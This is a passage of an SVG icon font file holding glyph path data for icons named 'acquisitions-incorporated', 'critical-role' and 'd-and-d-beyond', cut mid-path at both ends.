-5.90039c0.0214844 8.14648 1.03027 16.0225 2.90039 23.5996c2 7.60059 3.69922 11.8008 5.39941 13.5c1 1.5 16.2998 15.7002 29 22.4004 +c2.33496 1.68262 5.22168 2.67676 8.31641 2.67676c1.8291 0 3.57715 -0.34668 5.18359 -0.976562c0.321289 -0.390625 0.515625 -0.889648 0.515625 -1.43457c0 -0.0898438 -0.00488281 -0.178711 -0.015625 -0.265625l-13 -7.59961 +c7.60059 -11.8008 10.5 -25.3008 8.7998 -41.3008c-1.11328 -11.292 -6.61426 -21.3291 -14.7998 -28.2998l2.90039 -4.7002c-30 2.2002 -24.7998 6.80078 -46.5 23.6006zM162.9 334.4c-1.80078 -7.2002 -2.30078 -16 -3.10059 -26l5.40039 -6.40039l7.09961 -3.40039 +c2.39648 -0.458008 4.79688 -0.699219 7.3252 -0.699219c1.3418 0 2.66797 0.0673828 3.97461 0.199219c1 1.7002 3.5 4.2002 6.40039 7.60059c5 5.89941 7.90039 13.7998 8.40039 23.0996c0.0849609 1.43848 0.113281 2.82617 0.113281 4.28613 +c0 7.30859 -1.08887 14.3643 -3.11328 21.0137c-3 8.10059 -5.90039 11 -10.1006 9.30078c-5.39941 -1.7002 -10.5996 -5.40039 -16 -11.8008c-3 -4.19922 -5.2002 -9.59961 -6.39941 -17.1992zM204.9 278.3l-3.10059 -6.5c7.10059 4.2002 13.5 7.2002 19.4004 8.40039 +l7.09961 0.5l11.7998 -7.60059h-2.5c-8.7998 3.7002 -19.3994 1.2002 -30.6992 -7.59961c-0.5 -4.7002 1.69922 -14.7002 5.89941 -29.5l9.2002 0.5c-21.9004 -6.59961 -37.5996 -8.40039 -48.9004 -5.40039c-24.8994 6.7002 -27.3994 23.6006 -27.5 24.1006 +c-1.74121 6.70996 -2.67871 13.6348 -2.67871 20.8867c0 4.35645 0.333984 8.63574 0.979492 12.8135c-6.40039 -0.5 -11 -4.2002 -15.2002 -10.6006c-2.90039 5.90039 -5.40039 8.7998 -5.90039 9.2998c1.5 0.700195 12.2998 7.5 32.5 4.90039l0.5 -2.5l-5.89941 -1.2002 +c-0.100586 -0.399414 -1.90039 -29.5 18.8994 -24.7998c1.40039 0.299805 1.2998 -0.0996094 36.1006 14.2998z" /> + <glyph glyph-name="acquisitions-incorporated" unicode="" horiz-adv-x="384" +d="M357.45 -20.2002c2.2002 -14.2998 4.09961 -28.7002 6.59961 -43.7002c-367.8 0 -153.899 -0.599609 -337.1 0c-4 0 -6.10059 0.700195 -5.2998 5.7002c2.09961 12.9004 3.5 25.9004 5 38.7998c0.5 4.80078 2.2998 6.80078 7.59961 6.80078 +c118.1 -1 114.9 -0.300781 121.4 2.39941c9.39941 4 14.8994 12.9004 14.8994 23.1006c-0.0996094 42.8994 -0.299805 85.8994 -0.200195 128.8c0 3.7998 -1.19922 5.89941 -4.59961 6.7998c-15.7002 3.90039 -31.2998 7.7002 -47.5996 11.7002 +c-5.30078 -12.2998 -10.4004 -24.4004 -15.7002 -36.7002c1.7998 -3.2998 28.3994 -2.90039 35.2998 -2.90039v-27.5996h-114.3c1 8.59961 1.7002 16.7998 3.2002 24.9004c0.299805 1.39941 3.59961 3.09961 5.5 3.19922 +c8.39941 0.400391 16.8994 0.300781 25.3994 0.100586c4 0 5.90039 1.09961 7.60059 5.2002c16.5996 40.6992 13.5 31.1992 67.2998 161c31.5 76.0996 33 76 32.5996 87.3994c-0.700195 18.6006 -25.3994 22.2998 -37.7002 22.1006c-30 -0.400391 -38.3994 0.5 -101.8 0.5 +c-7.2002 44.5 -4.2002 32.0996 -6.39941 45.2998c-0.700195 4.2002 1 5.2998 4.59961 5.2998l339.1 -0.200195c-0.799805 -5.39941 -1.59961 -10.7998 -2.39941 -16.0996c-1.2998 -9.7002 -2.7998 -19.4004 -4 -29.2002c-0.299805 -2.90039 -1.2002 -4.2998 -4.2998 -4.2998 +c-20.6006 -0.100586 -41.2002 -0.100586 -61.8008 -0.5c-18.6992 -0.400391 -37.5996 -0.299805 -56.1992 -2c-13.4004 -1.2002 -23.3008 -12.6006 -18.9004 -26.6006c8.59961 -27.0996 27.7002 -69.0996 36.5 -89.1992c65.7002 -154.2 61.4004 -157 84 -158.601 +c6.59961 -0.5 13.4004 -0.0996094 20.4004 -0.0996094c1.2998 -9.40039 2.59961 -18 4 -27.5h-116v27c10.3994 0 20.3994 0.0996094 30.3994 -0.100586c3.5 0 5 0.700195 3.40039 4.40039c-4.40039 10.2998 -8.7002 20.5996 -13.2002 30.9004 +c-1.59961 3.69922 -4.09961 4.7998 -8.40039 3.5c-12.3994 -3.60059 -24.7998 -6.7002 -37.2998 -9.7002c-4.2998 -1.10059 -6 -2.7998 -5.89941 -7.5c0.799805 -57.5 0.899414 -127.5 1 -129.101c0.399414 -12.5996 8.69922 -21.3994 21 -23.0996 +c0.899414 -0.200195 12.8994 -2.7998 112.699 -2.59961c8.30078 0 8.40039 0.0996094 9.60059 -7.60059zM182.55 185.5c2.87695 -1.01465 5.98633 -1.56641 9.20801 -1.56641s6.31543 0.551758 9.19238 1.56641c13 4.2002 26.2998 7.7998 39.3994 11.7002 +c1.34473 0.620117 2.65234 1.32422 3.90039 2.09961c-6.7002 17.4004 -13.0996 34.2002 -19.7002 50.9004c-8.89941 22.7002 -17.7002 60.2998 -27 82.7998c-1.5 0.799805 -1.89941 -2.40039 -9.39941 0c-17.1006 -44 -34.1006 -87.7998 -51.3008 -132.1 +c1.8457 -1.09766 3.7959 -2.07422 5.80078 -2.90039c13.2998 -4.2998 26.5996 -8.2998 39.8994 -12.5z" /> + <glyph glyph-name="critical-role" unicode="" +d="M225.82 448c0.259766 -0.150391 216.569 -124.51 217.12 -124.72c3 -1.18066 3.69922 -3.45996 3.69922 -6.56055c-0.0732422 -83.4463 -0.0732422 -166.899 0 -250.359c0.0117188 -0.150391 0.0175781 -0.302734 0.0175781 -0.456055 +c0 -2.36035 -1.38867 -4.38867 -3.39746 -5.32422c-21.3701 -12 -207.859 -118.29 -218.93 -124.58h-3c-79.3301 45.6602 -218.25 125.44 -218.4 125.52c-1.11816 0.526367 -1.89355 1.66309 -1.89355 2.97949c0 0.0898438 0.00683594 0.173828 0.0136719 0.260742 +c0 0.870117 0 225.94 -0.0498047 253.101c-0.00976562 0.124023 -0.0136719 0.25 -0.0136719 0.376953c0 2.02832 1.20605 3.76855 2.94336 4.55273c23.2607 13.0996 209.271 119.21 220.141 125.21h1.75zM215.4 427.58l-0.219727 0.158203 +c-64.7471 -36.8604 -129.474 -73.7305 -194.18 -110.61c0 -0.120117 0.0800781 -0.229492 0.129883 -0.349609l30.8604 -11.6406c-7.70996 -6 -8.32031 -6 -10.6504 -5.12988c-0.0996094 0 -24.1699 9.28027 -26.7998 10v-230.43 +c0.879883 1.41016 64.0703 110.91 64.1299 111c1.62012 2.82031 3 1.91992 9.12012 1.51953c1.40039 -0.0898438 1.47949 -0.219727 0.780273 -1.41992c-41.1904 -71.3301 -36.4004 -63 -67.4805 -116.939c-0.80957 -1.40039 -0.609375 -1.12988 1.25 -1.12988h186.5 +c1.44043 0 1.69043 0.229492 1.7002 1.63965v8.87988c0 1.33984 2.36035 0.810547 -18.3701 1c-7.45996 0.0703125 -14.1396 3.21973 -21.3799 12.7002c-7.37988 9.66016 -14.6201 19.4297 -21.8496 29.21c-2.28027 3.08008 -3.4502 2.37988 -16.7607 2.37988 +c-1.75 0 -1.7793 0 -1.75977 -1.82031c0.290039 -26.21 0.150391 -25.2695 1 -32.6592c0.520508 -4.37012 2.16016 -4.2002 9.69043 -4.81055c3.13965 -0.259766 3.87988 -4.08008 0.519531 -4.91992c-1.57031 -0.389648 -31.5996 -0.509766 -33.6699 0.0996094 +c-1.02539 0.28125 -1.7793 1.2207 -1.7793 2.33496c0 1.21973 0.905273 2.22949 2.0791 2.39551c3.29004 0.759766 6.16016 -0.80957 6.66016 4.44043c1.2998 13.6592 1.16992 9 1.09961 79.4199c0 10.8193 -0.349609 12.5801 -5.35938 13.5498 +c-1.21973 0.240234 -3.54004 0.160156 -4.69043 0.549805c-2.87988 1 -2 4.83984 1.77051 4.84961c33.6699 0 46.0801 1.07031 56.0596 -4.85938c7.74023 -4.61035 12 -11.4805 12.5098 -20.4004c0.880859 -14.5898 -6.50977 -22.3496 -15 -32.5898 +c-0.313477 -0.267578 -0.511719 -0.666016 -0.511719 -1.11035s0.198242 -0.841797 0.511719 -1.10938c2.60059 -3.25 5 -6.62988 7.70996 -9.83008c27.5605 -33.2305 24.1104 -30.54 41.2803 -33.0605c0.890625 -0.129883 1 0.419922 1 1.15039v11 +c0 1 0.320312 1.42969 1.41016 1.25977c3.57227 -0.542969 7.23047 -0.825195 10.9531 -0.825195c4.35449 0 8.4834 0.386719 12.627 1.125c1.08008 0.150391 1.5 -0.199219 1.47949 -1.33008c0 -0.109375 0.880859 -26.6895 0.870117 -26.7998 +c-0.0498047 -1.51953 0.669922 -1.62012 1.89062 -1.62012h186.71c-27.1533 47.0342 -54.2334 93.9746 -81.2402 140.821c2.25977 0.660156 -0.400391 0 6.69043 1.38965c2 0.390625 2.0498 0.410156 3.10938 -1.43945c7.31055 -12.6396 77.3105 -134 77.3701 -134.061 +v230.44c-1.71973 -0.5 -103.3 -38.7197 -105.76 -39.6797c-1.08008 -0.419922 -1.5498 -0.200195 -1.91016 0.879883c-0.629883 1.89941 -1.33984 3.75977 -2.08984 5.62012c-0.320312 0.790039 -0.0898438 1.12988 0.649414 1.38965 +c0.100586 0 95.5303 35.8496 103 38.7705c-65.4199 37.5693 -130.56 75 -196 112.6l86.8203 -150.39l-0.280273 -0.330078c-9.56934 0.899414 -10.46 1.59961 -11.7998 3.93945c-1 1.69043 -73.5 127.71 -82 142.16c-9.09961 -14.6699 -83.5596 -146.21 -85.3701 -146.32 +c-2.92969 -0.169922 -5.87988 -0.0800781 -9.25 -0.0800781c28.833 49.8271 57.5596 99.4941 86.1797 149.001zM267.331 297.658c1.88379 0.146484 3.74316 0.435547 5.54004 0.849609c1.68945 0.299805 2.53027 -0.200195 2.59961 -1.91992 +c0 -0.109375 0.0703125 -19.0596 -0.859375 -20.4502c-0.930664 -1.38965 -1.87988 -1.21973 -2.60059 0.19043c-5 9.68945 6.2207 9.66016 -39.1201 12c-0.699219 0 -1 -0.230469 -1 -0.929688c0 -0.130859 3.7207 -122 3.73047 -122.11 +c0 -0.889648 0.519531 -1.2002 1.20996 -1.50977c2.97363 -1.18262 5.9043 -2.54883 8.7002 -4.0498c7.30957 -4.33008 11.3799 -10.8408 12.4102 -19.3105c1.43945 -11.7998 -2.77051 -35.7695 -32.21 -37.1396c-2.75 -0.129883 -28.2607 -1.08008 -34.1406 23.25 +c-4.66016 19.2598 8.25977 32.7002 19.8906 36.3994c1.14258 0.208008 2.00977 1.20898 2.00977 2.41113c0 0.0849609 -0.00195312 0.166016 -0.00976562 0.249023c0.0996094 5.62988 3 107.101 3.70996 121.351c0.0498047 1.0791 -0.620117 1.15918 -1.35059 1.14941 +c-32.3496 -0.519531 -36.75 0.339844 -40.2197 -8.51953c-2.41992 -6.18066 -4.13965 -1.32031 -3.9502 -0.230469c1.05957 6 2.16309 12 3.31055 18c0.399414 2.11035 1.42969 2.61035 3.42969 1.86035c5.58984 -2.11035 6.71973 -1.7002 37.25 -1.91992 +c1.72949 0 1.78027 0.0800781 1.82031 1.84961c0.679688 27.4902 0.579102 22.5898 1 29.5498c0.0117188 0.106445 0.0185547 0.213867 0.0185547 0.322266c0 1.11719 -0.679688 2.07129 -1.64941 2.47852c-5.59961 2.90918 -8.75 7.5498 -8.89941 13.8691 +c-0.350586 14.8105 17.7197 21.6699 27.3799 11.5107c6.83984 -7.19043 5.7998 -18.9102 -2.4502 -24.1504c-1.34473 -0.740234 -2.25684 -2.1709 -2.25684 -3.81348c0 -0.180664 0.015625 -0.351562 0.0371094 -0.526367c0 -0.589844 -0.110352 4.30957 1 -30.0498 +c0 -0.900391 0.429688 -1.12012 1.24023 -1.11035c0.0996094 0 23 0.0898438 34.4697 0.370117zM68.2705 306.298c19.8408 4.50977 32.6807 0.560547 52.4902 -1.68945c2.75977 -0.310547 3.74023 -1.2207 3.62012 -4c-0.209961 -5 -1.16016 -22.3301 -1.24023 -23.1504 +c-0.0419922 -1.05566 -0.702148 -1.9541 -1.62988 -2.33984c-4.05957 -1.7002 -3.60938 4.4502 -4 7.29004c-3.12988 22.4297 -73.8701 32.7002 -74.6299 -25.4004c-0.30957 -23.9199 17 -53.6299 54.0801 -50.8799c27.2402 2 19 20.1904 24.8398 20.4697 +c0.120117 0.0166016 0.241211 0.0244141 0.365234 0.0244141c1.50098 0 2.71973 -1.21875 2.71973 -2.71973c0 -0.229492 -0.03125 -0.451172 -0.0849609 -0.664062c-1.83008 -10.8506 -3.41992 -18.9502 -3.4502 -19.1504 +c-1.54004 -9.16992 -86.6992 -22.0898 -93.3496 42.0605c-2.70996 25.8496 10.4404 53.3691 40.2695 60.1494zM148.271 218.628h-19.4893c-0.0703125 -0.00585938 -0.140625 -0.00878906 -0.210938 -0.00878906c-1.15039 0 -2.12109 0.756836 -2.44922 1.79883 +c2.37988 3.75 5.88965 -0.919922 5.86035 6.13965c-0.0800781 25.75 0.209961 38 0.229492 40.1006c0 3.41992 -0.530273 4.64941 -3.32031 4.93945c-7 0.720703 -3.10938 3.37012 -1.10938 3.38086c11.8398 0.0996094 22.6201 0.179688 30.0498 -0.720703 +c8.76953 -1.06934 16.71 -12.6299 7.92969 -22.6201c-2 -2.25 -4 -4.41992 -6.13965 -6.72949c0.950195 -1.15039 6.89941 -8.82031 17.2803 -19.6797c2.65918 -2.78027 6.14941 -3.51074 9.87988 -3.13086h0.0214844c1.18945 0 2.16016 0.943359 2.20801 2.12012 +c0.299805 3.41992 0.259766 -4.72949 0.450195 40.5801c0 5.65039 -0.339844 6.58008 -3.22949 6.83008c-3.9502 0.350586 -4 2.25977 -0.69043 3.37012l19.0898 0.0898438c0.320312 0 4.49023 -0.530273 1 -3.37988c0 -0.0498047 -0.160156 0 -0.240234 0 +c-3.60938 -0.259766 -3.93945 -1 -4 -4.62012c-0.269531 -43.9297 0.0703125 -40.2295 0.410156 -42.8203c0.110352 -0.839844 0.270508 -2.22949 5.10059 -2.13965c2.48926 0 3.85938 -3.37012 0 -3.39941c-10.3701 -0.0800781 -20.7402 0 -31.1104 -0.0703125 +c-10.6699 0 -13.4697 6.2002 -24.21 20.8203c-1.59961 2.17969 -8.31055 2.35938 -8.2002 0.369141c0.879883 -16.4697 0 -17.7793 4 -17.6699c4.75 0.100586 4.73047 -3.56934 0.830078 -3.5498h0.0595703zM423.271 228.778 +c-1.20996 -7.12988 0.170898 -10.3799 -5.2998 -10.3398c-61.5498 0.419922 -47.8193 0.219727 -50.7197 0.30957c-1.24414 0.12207 -2.4707 0.37207 -3.62988 0.730469c-2.53027 0.599609 1.47949 1.22949 -0.379883 5.59961 +c-1.43066 3.37012 -2.78027 6.78027 -4.11035 10.1895c-0.219727 0.831055 -0.976562 1.44336 -1.87598 1.44336c-0.0419922 0 -0.0820312 0 -0.124023 -0.00292969c-2.22852 0.107422 -4.4707 0.161133 -6.72559 0.161133 +c-2.70605 0 -5.18652 -0.0771484 -7.85449 -0.231445c-0.6875 -0.0898438 -1.27734 -0.491211 -1.62012 -1.05957c-1.58008 -3.62012 -3.06934 -7.29004 -4.50977 -11c-1.26953 -3.23047 7.86035 -1.32031 12.1904 -2.16016c3 -0.570312 4.5293 -3.71973 0.65918 -3.72949 +h-26.3691c-2.91992 0 -3.09082 3.14941 -0.740234 3.20996c0.0966797 -0.00488281 0.194336 -0.00683594 0.291992 -0.00683594c2.46484 0 4.59277 1.41211 5.62793 3.47656c1.5 3 2.7998 6 4.11035 9.08984c18.1797 42.1396 17.0596 40.1699 18.4199 41.6104 +c0.330078 0.473633 0.879883 0.783203 1.50098 0.783203s1.16797 -0.30957 1.49902 -0.783203c2.92969 -3.33984 18.3994 -44.71 23.6201 -51.9199c2 -2.7002 5.73926 -2 6.35938 -2c3.61035 -0.130859 4 1.10938 4.12988 4.29004 +c0.0898438 1.86914 0.0800781 -1.1709 0.0703125 41.2393c0 4.45996 -2.36035 3.74023 -5.5498 4.27051c-0.259766 0 -2.56055 0.629883 -0.0800781 3.05957c0.209961 0.200195 -0.890625 0.240234 21.7002 0.150391c2.31934 0 5.31934 -2.75 -1.20996 -3.4502 +c-0.0390625 0.00195312 -0.078125 0.00292969 -0.116211 0.00292969c-1.41309 0 -2.56055 -1.14746 -2.56055 -2.56055c0 -0.0927734 0.00683594 -0.181641 0.0166016 -0.272461c-0.0703125 -1.62988 -0.19043 -38.8896 0.290039 -41.21 +c0.288086 -1.39062 1.52051 -2.43652 2.99609 -2.43652c0.0791016 0 0.155273 0.000976562 0.233398 0.00683594c13.25 -0.430664 14.9199 -0.44043 16 3.41016c1.66992 5.7793 4.12988 2.51953 3.73047 0.189453zM318.551 164.408 +c-4.24023 0 -4.41992 3.38965 -0.609375 3.41016c35.9092 0.160156 28.1094 -0.379883 37.1895 0.649414c1.67969 0.19043 2.37988 -0.239258 2.25 -1.88965c-0.259766 -3.38965 -0.639648 -6.78027 -1 -10.1602c-0.25 -2.16016 -3.2002 -2.61035 -3.39941 0.150391 +c-0.380859 5.30957 -2.15039 4.44922 -15.6309 5.08008c-1.58008 0.0693359 -1.63965 0 -1.63965 -1.52051v-16.1299c0 -1.65039 0 -1.59961 1.62012 -1.46973c3.12012 0.25 10.3096 -0.339844 15.6895 1.51953c0.470703 0.160156 3.30078 1.79004 3.07031 -1.75977 +c0 -0.209961 -0.759766 -10.3496 -1.17969 -11.3896c-0.530273 -1.29004 -1.87988 -1.51074 -2.58008 -0.320312c-1.16992 2 0 5.08008 -3.70996 5.2998c-15.4199 0.900391 -12.9102 2.5498 -12.9102 -6c0 -12.25 -0.759766 -16.1104 3.88965 -16.2402 +c16.6406 -0.479492 14.4004 0 16.4307 5.70996c0.839844 2.37012 3.5 1.77051 3.17969 -0.580078c-0.44043 -3.20996 -0.849609 -6.42969 -1.22949 -9.63965c0 -0.360352 -0.160156 -2.39941 -4.66016 -2.38965c-37.1602 0.0800781 -34.54 0.189453 -35.21 0.30957 +c-2.7207 0.509766 -2.2002 3 0.219727 3.4502c1.09961 0.19043 4 -0.540039 4.16016 2.55957c2.43945 56.2207 -0.0703125 51.3408 -3.91016 51.3301zM318.141 273.928c2.45996 -0.609375 3.12988 -1.75977 2.9502 -4.64941 +c-0.330078 -5.2998 -0.339844 -9 -0.549805 -9.69043c-0.660156 -2.22949 -3.15039 -2.12012 -3.33984 0.270508c-0.379883 4.80957 -3.0498 7.81934 -7.57031 9.14941c-26.2803 7.73047 -32.8096 -15.46 -27.1699 -30.2197c5.87988 -15.4102 22 -15.9199 28.8604 -13.7803 +c5.91992 1.85059 5.87988 6.5 6.91016 7.58008c1.22949 1.2998 2.25 1.83984 3.11914 -1.09961c0 -0.100586 0.570312 -11.8906 -6 -12.75c-1.59961 -0.209961 -19.3799 -3.69043 -32.6797 3.38965c-21 11.1904 -16.7402 35.4697 -6.87988 45.3301 +c14 14.0596 39.9102 7.05957 42.3203 6.46973h0.0292969zM289.801 167.858c3.28027 0 3.66016 -3 0.160156 -3.43066c-2.61035 -0.319336 -5 0.419922 -5 -5.45996c0 -2 -0.19043 -29.0498 0.400391 -41.4502c0.109375 -2.28906 1.14941 -3.51953 3.43945 -3.64941 +c22 -1.20996 14.9502 1.64941 18.79 6.33984c1.83008 2.24023 2.75977 -0.839844 2.75977 -1.08008c0.350586 -13.6201 -4 -12.3896 -5.18945 -12.3994l-38.1602 0.189453c-1.92969 0.230469 -2.05957 3 -0.419922 3.37988c2 0.480469 4.93945 -0.399414 5.12988 2.7998 +c1 15.8701 0.570312 44.6504 0.339844 47.8105c-0.269531 3.76953 -2.7998 3.26953 -5.67969 3.70996c-2.46973 0.379883 -2 3.21973 0.339844 3.21973c1.4502 0.0205078 17.9697 0.0302734 23.0898 0.0205078zM258.171 225.648 +c0.0703125 -4.08008 2.86035 -3.45996 6 -3.58008c2.61035 -0.100586 2.53027 -3.41016 -0.0703125 -3.43066c-6.47949 0 -13.6992 0 -21.6094 0.0605469c-3.83984 0 -3.37988 3.34961 0 3.37012c4.49023 0 3.24023 -1.61035 3.41016 45.54 +c0 5.08008 -3.27051 3.54004 -4.7207 4.22949c-2.58008 1.23047 -1.35938 3.08984 0.410156 3.15039c1.29004 0 20.1904 0.410156 21.1699 -0.209961c0.980469 -0.620117 1.87012 -1.65039 -0.419922 -2.86035c-1 -0.519531 -3.85938 0.280273 -4.14941 -2.46973 +c0 -0.209961 -0.820312 -1.62988 -0.0703125 -43.7998h0.0498047zM221.261 -48.6221c0.46582 -0.311523 1.02539 -0.493164 1.62695 -0.493164c0.602539 0 1.16797 0.181641 1.63281 0.493164c17 9.79004 182 103.57 197.421 112.51 +c-0.140625 0.430664 11.2598 0.180664 -181.521 0.270508c-1.21973 0 -1.57031 -0.370117 -1.53027 -1.56055c0 -0.0996094 1.25 -44.5098 1.2207 -50.3799c-0.0966797 -2.67383 -0.571289 -5.27344 -1.36035 -7.70996c-0.549805 -1.83008 0.379883 0.5 -13.5 -32.2295 +c-0.730469 -1.7207 -1 -2.20996 -2 0.0800781c-4.19043 10.3398 -8.28027 20.7197 -12.5703 31c-1.29785 2.92285 -2.01953 6.15723 -2.01953 9.55957c0 0.412109 -0.000976562 0.823242 0.0195312 1.23047c0.160156 2.45996 0.800781 16.1191 1.51074 48 +c0 1.94922 0 2 -2 2h-183c2.5791 -1.63086 178.319 -102.57 196 -112.761zM130.361 140.128c0 -2.39941 0.359375 -2.79004 2.75977 -3c11.54 -1.16992 21 -3.74023 25.6396 7.32031c6 14.46 2.66016 34.4102 -12.4795 38.8398c-2 0.589844 -16 2.75977 -15.9404 -1.50977 +c0.0498047 -8.04004 0.00976562 -11.6104 0.0205078 -41.6504zM236.111 155.178c0 -2.12988 1.06934 -38.6797 1.08984 -39.1299c0.339844 -9.93945 -25.5801 -5.76953 -25.2305 2.58984c0.0800781 2 1.37012 37.4199 1.10059 39.4307 +c-14.1006 -7.44043 -14.4199 -40.21 6.43945 -48.8008c2.18066 -0.946289 4.58594 -1.4707 7.11328 -1.4707c6.46094 0 12.1299 3.40332 15.2773 8.54102c4.90918 7.75977 6.83984 29.4697 -5.43066 39c-0.114258 -0.0478516 -0.237305 -0.0888672 -0.359375 -0.120117 +v-0.0400391zM223.831 353.178c-9.83008 0 -9.73047 -14.75 -0.0703125 -14.8701c9.66016 -0.119141 10.1006 14.8809 0.0703125 14.9102v-0.0400391zM143.681 249.348c0 -1.7998 0.410156 -2.39941 2.16992 -2.58008c13.6201 -1.38965 12.5107 11 12.1602 13.3604 +c-1.68945 11.2197 -14.3799 10.2002 -14.3496 7.81055c0.0498047 -4.5 -0.0302734 -13.6807 0.0195312 -18.5908zM356.001 242.948l-6.09961 15.8398c-2.16016 -5.48047 -4.16016 -10.5703 -6.23047 -15.8398h12.3301z" /> + <glyph glyph-name="d-and-d-beyond" unicode="" horiz-adv-x="640" +d="M313.8 206.5c-9.89941 0 -16 7 -15.7002 7.09961c-4.2998 5.7002 -3 -0.299805 -2.39941 -1.89941c-10.9004 10.2998 -5.2998 25.3994 -5.10059 26c0.700195 1.89941 0 2.2002 -0.599609 1.89941c-1 -0.299805 -2.09961 -1.89941 -2.09961 -1.89941 +c0.799805 9.09961 9.2998 14.7002 9.2998 14.7002l0.200195 -0.200195c1 -1.5 -0.400391 -3.2002 -0.600586 -9c1.60059 2.2998 7.90039 6.59961 11.4004 7.89941c-1.10059 -1.5 -2.10059 -3.59961 -2.10059 -6.59961c3.7002 4.2002 7.5 2.59961 8 2.40039 +c-12.1992 -11.9004 -7 -26.6006 3.2002 -26.6006c5.7002 0 11.5 6.40039 13.9004 10.7002c2.39941 -2.40039 6.39941 -5.5 7.39941 -6.59961c-3.7998 -7.80078 -11 -17.9004 -24.7998 -17.9004zM366.2 227.6c0 -2.89941 -2.90039 -4.09961 -5.40039 -4.5 +c0.700195 1.5 1.7998 5.10059 -0.200195 9c0.700195 -0.0996094 5.60059 -0.5 5.60059 -4.5zM376.5 222.4c-0.400391 -6.5 -6.90039 -11.6006 -14.5996 -10.6006c2 -1.7002 6.59961 -3 9 -1.89941c-3.90039 -6.90039 -23.1006 -7.5 -23.1006 6.39941 +c-2.89941 -2.89941 -2.09961 -7.39941 0 -9.2998c-2.2002 0.700195 -5.7998 3.09961 -6.39941 7.40039c-1.30078 10.0996 4.39941 6.5 -10.4004 18.0996c-4.7998 3.7002 -3 6.59961 -4 8.5c-1.09961 2.2002 -7 4.09961 -4.5 8.5 +c-0.0996094 -1.59961 1 -2.90039 2.59961 -3.5c1.80078 -0.700195 3.2002 -0.200195 4.80078 -1c1.69922 -1.2002 0.899414 -3.90039 2.19922 -5c1.10059 -0.799805 4.2002 0.299805 6.60059 -1.7998c2.59961 -2 8.2002 -6.7002 10.5996 -8.60059 +c4.40039 -3.59961 8.7998 0.400391 7.40039 4.60059c4.5 -2.60059 5 -9.90039 1.2998 -12.5c10.5996 -2.40039 13 10.0996 5 11.3994c7.2998 0.700195 13.5 -4.2998 13.5 -10.6992zM337.1 240.8c4.30078 6.10059 13.3008 15.2998 23.8008 15.7998 +c-5.90039 0.800781 -15.1006 -3.19922 -19.7002 -9c0.899414 3.90039 5.09961 10.1006 10.2002 13c0 0 -2.5 -3.19922 -1.40039 -3.69922c1.59961 -0.800781 5.7998 5.69922 11.2002 5.89941c0 0 -4 -2 -3.2002 -3.39941c0.599609 -0.900391 3.2998 1.2998 8 1.2998 +c5.7998 0 10.9004 -3.5 13.2998 -6.2002c-4 1.09961 -11.5996 -0.799805 -13.7998 -2.7002c-0.299805 0.200195 -11.7998 9 -22 -15.5c-4.7998 3.7998 -4.40039 3.7002 -6.40039 4.5zM579.6 188.9c37.2002 0 60.4004 -19.6006 60.4004 -48.9004 +c0 -28.2002 -17 -48.9004 -59.0996 -48.9004c-20.7002 0 -41.2002 1.30078 -51.6006 2.10059l7.40039 8.2002v77.1992l-7.40039 8.2002c10.2998 0.799805 29.6006 2.10059 50.2998 2.10059zM564.5 113.3c25.4004 -3.2002 46.7998 1.40039 46.7998 27 +c0 22.5 -16.7002 29.6006 -46.7998 26.2998v-53.2998zM301.6 267c0.100586 -0.299805 -2.7998 2.2998 -3.2998 7.5c-0.200195 2.2998 0 19.7998 20 18.9004c11.2002 -0.600586 16.7002 -8.30078 16.7002 -16.5c0 -4.30078 -2.2998 -10.1006 -5.5 -13.8008 +c-2.2002 2.2002 -5.59961 4.60059 -7.7002 7.80078c3.7998 5.59961 2.2002 14.3994 -4.7002 14.3994c-4.2998 0 -7.7998 -4.5 -6.39941 -9.89941c-0.700195 -2.40039 -1 -5.60059 -0.5 -8c-4.90039 2.59961 -6.5 6 -7.5 9c-1.2998 -2.5 -2.10059 -6 -1.10059 -9.40039z +M301.2 261c0.299805 1.7002 -3.10059 4.59961 -4.7998 5.2002c4.7998 0.200195 7 -0.600586 7 -0.600586c-1.30078 1.7002 -1.60059 4.5 -1 6.7002c2.5 -6.09961 11.6992 -7.09961 13.8994 -12.2002c-0.299805 2.30078 -2.39941 4.7002 -4.7998 6.10059 +c-1.2998 3.2002 -0.299805 9.39941 1.2998 11c-0.5 -8.7998 12 -13.7998 14.6006 -20.2002c-1.40039 5.5 -7.40039 9 -10.1006 12.2002c-1 2.09961 -0.200195 5.7998 0.799805 7.09961c-0.5 -9.7002 15.8008 -14.2998 14.1006 -23.8994 +c0.899414 -0.400391 2.09961 -1.2002 1.89941 -2.60059c1.30078 0.299805 2.60059 1.7002 2.90039 2.7002c0.700195 -4.5 -1.90039 -9 -4.7998 -10.4004c1.59961 4 -2.7002 5.60059 -6.7002 5.10059c0 0 1.59961 2.2998 1 3.39941 +c-0.799805 1.5 -8 0.800781 -11.2002 -0.299805c1.10059 0.100586 3.60059 -0.200195 4.60059 -0.5c-2.10059 -2.89941 -1 -7.09961 1.2998 -4.2002c0 0 -1.10059 -3.5 -0.299805 -4.2998c0.799805 -0.799805 2.59961 -0.200195 2.59961 -0.200195 +c-1.2002 -2.69922 -5.2998 -4.59961 -8.2002 -4.59961c1.10059 0.400391 2.7002 2.2998 3 3.40039c-0.799805 -0.5 -2.7002 -0.700195 -3.5 -0.5c6.10059 3 0 13.1992 -7 8.19922c1 2.7002 3.7002 5.30078 5.7998 6.10059c-1.2998 0.5 -2.69922 0.799805 -4.2998 1.09961 +c1.7998 1.5 6.2998 2.7998 8.5 2.60059c-3.5 0.799805 -9.89941 -0.300781 -12.7998 -3.7002c0.900391 0 3.2998 -0.5 4.2998 -0.799805c-4 -0.700195 -9.39941 -4.40039 -11 -6.2002c0.299805 2.2002 1 4.2002 0.5 5.59961c-0.799805 2 -3 2.7998 -7.7998 1.7998 +c3.2002 3.2002 9.7002 5.10059 10.2002 6.90039zM327.1 253.6c0 0 -0.899414 3 -4.19922 4.30078c0.699219 -2.2002 1.5 -4.30078 4.19922 -4.30078zM366 249.9l0.700195 0.699219c0.5 0.400391 1.59961 0.900391 2.7002 1.40039v-18.4004 +c-1.7002 0.800781 -3.5 1.10059 -5.60059 1.10059c-2.39941 0 -5 -0.5 -5 -0.5c-0.5 0.5 -3.59961 2.89941 -5.09961 3.2002c4.09961 -4.30078 0.5 -9.80078 -3 -7.2002v15.7002c0.700195 0.799805 1.2998 1.7998 2.09961 2.59961 +c1.7002 2.09961 4.60059 3.40039 7.5 3.40039c1.7998 0 3.60059 -0.400391 4.7002 -1.40039zM79.9004 142.1c22 -6.39941 19.3994 -20.0996 19.3994 -25.1992c0 -7.80078 -3.2002 -13.6006 -9.89941 -17.6006c-12.6006 -7.39941 -24.7002 -5.89941 -86.4004 